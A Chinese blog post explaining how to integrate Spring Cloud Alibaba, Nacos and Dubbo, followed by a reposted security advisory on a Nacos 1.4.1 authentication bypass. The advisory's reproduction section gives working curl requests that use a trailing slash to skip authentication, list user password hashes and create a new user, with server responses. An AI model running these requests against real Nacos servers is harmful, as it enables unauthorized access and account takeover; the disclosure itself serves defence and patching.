spring-cloud-alibaba+nacos整合dubbo

由于spring-cloud的官方核心组件eureka停止升级维护,再加上支持国货,微服务的技术选型spring-cloud-alibaba,注册和服务发现中心,调用服务则选为dubbo,虽然耦合性有点高(指尖银河),但好歹是国货,没说的,必须支持。
小声比比:这类文章比较多,我也跟风一波,凑下热闹

技术栈:

spring-boot、spring-cloud-alibaba-nacos、dubbo

首先是nacos

nacos是干嘛的呢?简单来说就是服务注册、服务发现、高可用配置中心

首先下载nacos

<span style="color:#000000"><code class="language-bash">https://github.com/alibaba/nacos/releases
</code></span>

选择1.4版本下载并解压

由于本人技术有限,只配置了nacos单机版,所以此文只叙述nacos的单机模式的相关操作

nacos数据存储

nacos的数据存储有好几种方式,默认用的file方式存储数据,如果要最快速启动的话自然什么也不用改,如果要更换数据存储方式的话则需要修改${nacos}/conf/application.properties文件

<span style="color:#000000"><code class="language-bash">db.num<span style="color:#669900">=</span>1
db.url.0<span style="color:#669900">=</span>jdbc:mysql://12.32.12.32:3243/sdfdsf?characterEncoding<span style="color:#669900">=</span>utf8<span style="color:#669900">&</span>connectTimeout<span style="color:#669900">=</span>10000<span style="color:#669900">&</span>socketTimeout<span style="color:#669900">=</span>30000<span style="color:#669900">&</span>autoReconnect<span style="color:#669900">=</span>true
db.user<span style="color:#669900">=</span>fdgfdg
db.password<span style="color:#669900">=</span>fdgbfdgfsdg

</code></span>

数据库信息修改不用多说了吧

启动nacos

首先到${nacos}/bin目录下,执行命令

<span style="color:#000000"><code class="language-powershell">sh startup<span style="color:#999999">.</span>sh <span style="color:#669900">-</span>m standalone
</code></span>

由于nacos默认集群模式,单机模式启动的话要加上-m standalone

注:不要修改nacos的访问前缀,否则默认配置可能无法找到nacos的server端,具体请看下去

nacos启动完后就可以不管了

项目代码

首先建立一个独立的公用模块,该模块不是服务,仅提供dubbo的interface类供其实现

由于该模块不需要任何业务代码仅需要interface类,故此处只贴interface的代码

<span style="color:#000000"><code class="language-java"><span style="color:#c678dd">public</span> <span style="color:#c678dd">interface</span> TestService <span style="color:#999999">{</span>

    <span style="color:#5c6370">/**
     * 发送消息
     * @param test1Msg 发送给消费者1的消息
     * @param test2Msg 发送给消费者2的消息
     */</span>
    String <span style="color:#61aeee">test</span><span style="color:#999999">(</span>String test1Msg<span style="color:#999999">,</span>String test2Msg<span style="color:#999999">)</span><span style="color:#999999">;</span>

<span style="color:#999999">}</span>
</code></span>

此模块就此结束,不再需要写任何东西。

由于是分布式项目,需要启动多个业务相关的服务,他们互为服务提供者和消费者,两个服务的代码格式都差不多,这里就偷懒只写一份。

pom文件

<span style="color:#000000"><code class="language-xml">		<span style="color:#5c6370"><!-- SpringBoot Web --></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>org.springframework.boot<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-boot-starter-web<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.2.3.RELEASE<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
		<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-alibaba-nacos-discovery<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>

        <span style="color:#5c6370"><!-- https://mvnrepository.com/artifact/com.alibaba.cloud/spring-cloud-starter-alibaba-nacos-config --></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-alibaba-nacos-config<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.2.3.RELEASE<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
         <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.alibaba.cloud<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>spring-cloud-starter-dubbo<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>org.apache.dubbo<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>dubbo-registry-nacos<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>2.7.4.1<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>!--</span> <span style="color:#d19a66">此处为上面说的dubbbo必须的公用模块</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>dependency</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>groupId</span><span style="color:#999999">></span></span>com.test<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>groupId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>artifactId</span><span style="color:#999999">></span></span>api-test<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>artifactId</span><span style="color:#999999">></span></span>
            <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"><</span>version</span><span style="color:#999999">></span></span>0.0.1<span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>version</span><span style="color:#999999">></span></span>
        <span style="color:#e06c75"><span style="color:#e06c75"><span style="color:#999999"></</span>dependency</span><span style="color:#999999">></span></span>
</code></span>

先说dubbo怎么写

bootstrap.yml

注册服务到nacos并读取nacos配置

<span style="color:#000000"><code class="language-java">spring<span style="color:#669900">:</span>
  cloud<span style="color:#669900">:</span>
    nacos<span style="color:#669900">:</span>
      config<span style="color:#669900">:</span>
        server<span style="color:#669900">-</span>addr<span style="color:#669900">:</span> <span style="color:#98c379">12.12</span><span style="color:#98c379">.12</span><span style="color:#98c379">.12</span><span style="color:#669900">:</span><span style="color:#98c379">123</span>
        file<span style="color:#669900">-</span>extension<span style="color:#669900">:</span> yaml
      discovery<span style="color:#669900">:</span>
        server<span style="color:#669900">-</span>addr<span style="color:#669900">:</span> <span style="color:#98c379">12.12</span><span style="color:#98c379">.12</span><span style="color:#98c379">.12</span><span style="color:#669900">:</span><span style="color:#98c379">123</span>
</code></span>

启动类

<span style="color:#000000"><code class="language-java"><span style="color:#999999">@SpringBootApplication</span><span style="color:#999999">(</span>exclude <span style="color:#669900">=</span> DataSourceAutoConfiguration<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">)</span>
<span style="color:#999999">@EnableDubbo</span>
<span style="color:#999999">@EnableDiscoveryClient</span>
<span style="color:#c678dd">public</span> <span style="color:#c678dd">class</span> Application <span style="color:#999999">{</span>
    <span style="color:#c678dd">public</span> <span style="color:#c678dd">static</span> <span style="color:#c678dd">void</span> <span style="color:#61aeee">main</span><span style="color:#999999">(</span>String<span style="color:#999999">[</span><span style="color:#999999">]</span> args<span style="color:#999999">)</span> <span style="color:#999999">{</span>
        SpringApplication<span style="color:#999999">.</span><span style="color:#61aeee">run</span><span style="color:#999999">(</span>Application<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">,</span> args<span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
<span style="color:#999999">}</span>
</code></span>

@enabledubbo 注解是标注此项目为dubbo服务提供者与消费者,该注解是额外标注这三个注解

<span style="color:#000000"><code class="language-java"><span style="color:#999999">@EnableDubboConfig</span>引入类DubboConfigConfigurationRegistrar,将于解析配置相关的类注册到spring容器;
<span style="color:#999999">@DubboComponentScan</span>引入类DubboComponentScanRegistrar,用于指定<span style="color:#999999">@Service</span>扫描路径;
<span style="color:#999999">@EnableDubboLifecycle</span>引入类DubboLifecycleComponentRegistrar,注册了两个监听器到spring容器。
</code></span>

接下来是重点

上面提到的公共模块的interface实现

<span style="color:#000000"><code class="language-java"><span style="color:#c678dd">import</span> com<span style="color:#999999">.</span>guangxin<span style="color:#999999">.</span>system<span style="color:#999999">.</span>api<span style="color:#999999">.</span>TestService<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>apache<span style="color:#999999">.</span>dubbo<span style="color:#999999">.</span>config<span style="color:#999999">.</span>annotation<span style="color:#999999">.</span>DubboService<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>slf4j<span style="color:#999999">.</span>Logger<span style="color:#999999">;</span>
<span style="color:#c678dd">import</span> org<span style="color:#999999">.</span>slf4j<span style="color:#999999">.</span>LoggerFactory<span style="color:#999999">;</span>

<span style="color:#5c6370">/** dubbo远程调用类
 * @author admin
 */</span>
<span style="color:#999999">@DubboService</span><span style="color:#999999">(</span>timeout <span style="color:#669900">=</span> <span style="color:#98c379">10000</span><span style="color:#999999">,</span>group <span style="color:#669900">=</span> <span style="color:#669900">"order"</span><span style="color:#999999">)</span>
<span style="color:#c678dd">public</span> <span style="color:#c678dd">class</span> TestServiceImpl <span style="color:#c678dd">implements</span> TestService <span style="color:#999999">{</span>

    <span style="color:#c678dd">private</span> <span style="color:#c678dd">static</span> <span style="color:#c678dd">final</span> Logger log <span style="color:#669900">=</span> LoggerFactory<span style="color:#999999">.</span><span style="color:#61aeee">getLogger</span><span style="color:#999999">(</span>TestServiceImpl<span style="color:#999999">.</span><span style="color:#c678dd">class</span><span style="color:#999999">)</span><span style="color:#999999">;</span>

    <span style="color:#999999">@Override</span>
    <span style="color:#c678dd">public</span> String <span style="color:#61aeee">test</span><span style="color:#999999">(</span>String test1Msg<span style="color:#999999">,</span> String test2Msg<span style="color:#999999">)</span> <span style="color:#999999">{</span>
        log<span style="color:#999999">.</span><span style="color:#61aeee">info</span><span style="color:#999999">(</span><span style="color:#669900">"dubbo进入了order模块远程调用"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
        <span style="color:#c678dd">return</span> test1Msg<span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
<span style="color:#999999">}</span>
</code></span>

注:此类写在服务提供者里面

服务提供者(是提供者不是消费者)的application.yml配置

<span style="color:#000000"><code class="language-xml">dubbo:
  application:
 	#name=服务名
    name: payment-dev
    # 项目访问端口
    qos-port: 8091
  consumer:
    check: false
  scan:
  	# 上述的服务提供者的实现类所在的包
    base-packages: com.xxx.test.dubbo
  protocol:
  	#name=
    name: dubbo
    port: -1
  registry:
  	#spring-cloud=托管到spring-cloud的注册中心,可改为nacos://10.21.32.22:123,但注册中心的每个dubbo服务会额外出现两个多余的服务,技术所限,原因未知。改为spring-cloud则无此毛病
    address: spring-cloud://10.21.32.22:123   
</code></span>

消费服务

<span style="color:#000000"><code class="language-java">	<span style="color:#999999">@DubboReference</span><span style="color:#999999">(</span>group <span style="color:#669900">=</span> <span style="color:#669900">"order"</span><span style="color:#999999">)</span>
    <span style="color:#c678dd">private</span> OrderService orderService<span style="color:#999999">;</span>

	<span style="color:#999999">@PostMapping</span><span style="color:#999999">(</span><span style="color:#669900">"testOrderDubbo"</span><span style="color:#999999">)</span>
    <span style="color:#c678dd">public</span> BaseResult <span style="color:#61aeee">testOrderDubbo</span><span style="color:#999999">(</span>String msg<span style="color:#999999">)</span> <span style="color:#999999">{</span>
        testService<span style="color:#999999">.</span><span style="color:#61aeee">test</span><span style="color:#999999">(</span>msg<span style="color:#999999">,</span> <span style="color:#669900">"payment访问order模块"</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
        <span style="color:#c678dd">return</span> BaseResult<span style="color:#999999">.</span><span style="color:#61aeee">successResult</span><span style="color:#999999">(</span><span style="color:#999999">)</span><span style="color:#999999">;</span>
    <span style="color:#999999">}</span>
</code></span>

轮到nacos了

首先到nacos的public命名空间建立配置文件,dataId命名格式为:#{服务名}-#{环境名}.${文件后缀},此处的文件后缀统一为yaml
服务注册到nacos非常简单,bootstrap.yml配置下就行

<span style="color:#000000"><code class="language-xml">server:
  port: 8092

spring:
  application:
    name: order-dev
  cloud:
    nacos:
      config:
      	#nacos地址
        server-addr: 10.21.32.22:123
        #nacos配置文件后缀
        file-extension: yaml
      discovery:
        server-addr: 10.21.32.22:123
</code></span>

默认是用#{服务名}-#{环境名}.${文件后缀}查找配置文件,默认通过上述spring.cloud.config.server-addr的地址/nacos找配置文件,spring.cloud.discovery注册服务。故启动nacos的server端是尽量不要更改服务名

最后,启动项目。

在这里插入图片描述

 

注意 阿里 Nacos 惊爆,安全漏洞以绕过身份验证(附修复建议)

通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

public class AuthFilter implements Filter {

    @Autowired
    private AuthConfigs authConfigs;

    @Autowired
    private AuthManager authManager;

    @Autowired
    private ControllerMethodsCache methodsCache;

    private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {

        if (!authConfigs.isAuthEnabled()) {
            chain.doFilter(request, response);
            return;
        }

        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;

        if (authConfigs.isEnableUserAgentAuthWhite()) {
            String userAgent = WebUtils.getUserAgent(req);
            if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
                chain.doFilter(request, response);
                return;
            }
        } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
                .isNotBlank(authConfigs.getServerIdentityValue())) {
            String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
            if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
                chain.doFilter(request, response);
                return;
            }
            Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
                    req.getRemoteHost());
        } else {
            resp.sendError(HttpServletResponse.SC_FORBIDDEN,
                    "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
                            + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
            return;
        }

        try {

            Method method = methodsCache.getMethod(req);

            if (method == null) {
                chain.doFilter(request, response);
                return;
            }

            ...鉴权代码

        }
        ...
    }
    ...
}

可以看到,上面三个if else分支:

第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
    chain.doFilter(request, response);
    return;
}

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

Method method = methodsCache.getMethod(req);

if (method == null) {
    chain.doFilter(request, response);
    return;
}

...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

public Method getMethod(HttpServletRequest request) {
    String path = getPath(request);
    if (path == null) {
        return null;
    }
    String httpMethod = request.getMethod();
    String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
    List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
    if (CollectionUtils.isEmpty(requestMappingInfos)) {
        return null;
    }
    List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
    if (CollectionUtils.isEmpty(matchedInfo)) {
        return null;
    }
    RequestMappingInfo bestMatch = matchedInfo.get(0);
    if (matchedInfo.size() > 1) {
        RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
        matchedInfo.sort(comparator);
        bestMatch = matchedInfo.get(0);
        RequestMappingInfo secondBestMatch = matchedInfo.get(1);
        if (comparator.compare(bestMatch, secondBestMatch) == 0) {
            throw new IllegalStateException(
                    "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
                            + secondBestMatch + "}");
        }
    }
    return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
    String path = null;
    try {
        path = new URI(request.getRequestURI()).getPath();
    } catch (URISyntaxException e) {
        LOGGER.error("parse request to path error", e);
    }
    return path;
}

这个代码里面,可以很明确的看到,method值的返回,取决于

String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:
1.4.1

三、漏洞复现

访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

regards,
threedr3am

三、 修复建议

2021年1月14日 Nacos 1.4.1刚发布,会直接在1.4.1进行hotfix。

请用户直接下载最新的1.4.1版本进行部署升级。

https://github.com/alibaba/nacos/releases/tag/1.4.1

BugFix

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值